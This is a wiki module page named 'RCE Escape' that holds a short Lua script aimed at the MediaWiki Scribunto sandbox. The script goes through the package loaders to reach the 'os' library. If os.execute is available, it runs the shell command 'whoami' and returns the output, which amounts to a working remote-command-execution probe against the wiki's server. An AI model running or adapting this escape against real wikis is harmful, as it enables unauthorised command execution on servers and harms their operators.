模块:RCE Escape

来自希服维基

可在模块:RCE Escape/doc创建此模块的帮助文档

local p = {}
function p.test()
    local r = {}
    r[1] = 'loaders=' .. #package.loaders
    for i, loader in ipairs(package.loaders) do
        local ok, result = pcall(loader, 'os')
        r[#r+1] = 'L' .. i .. '=' .. tostring(ok) .. ':' .. type(result)
        if ok and type(result) == 'function' then
            local ok2, os_tbl = pcall(result)
            if ok2 and type(os_tbl) == 'table' then
                local funcs = {}
                for k, v in pairs(os_tbl) do
                    funcs[#funcs+1] = k
                    if k == 'execute' and type(v) == 'function' then
                        r[#r+1] = 'FOUND_EXECUTE_IN_LOADER_' .. i
                        local ok3, who = pcall(v, 'whoami')
                        r[#r+1] = 'WHOAMI=' .. tostring(who)
                    end
                end
                r[#r+1] = 'os_funcs_' .. i .. ':' .. table.concat(funcs, ',')
            end
        end
    end
    return table.concat(r, ' | ')
end
return p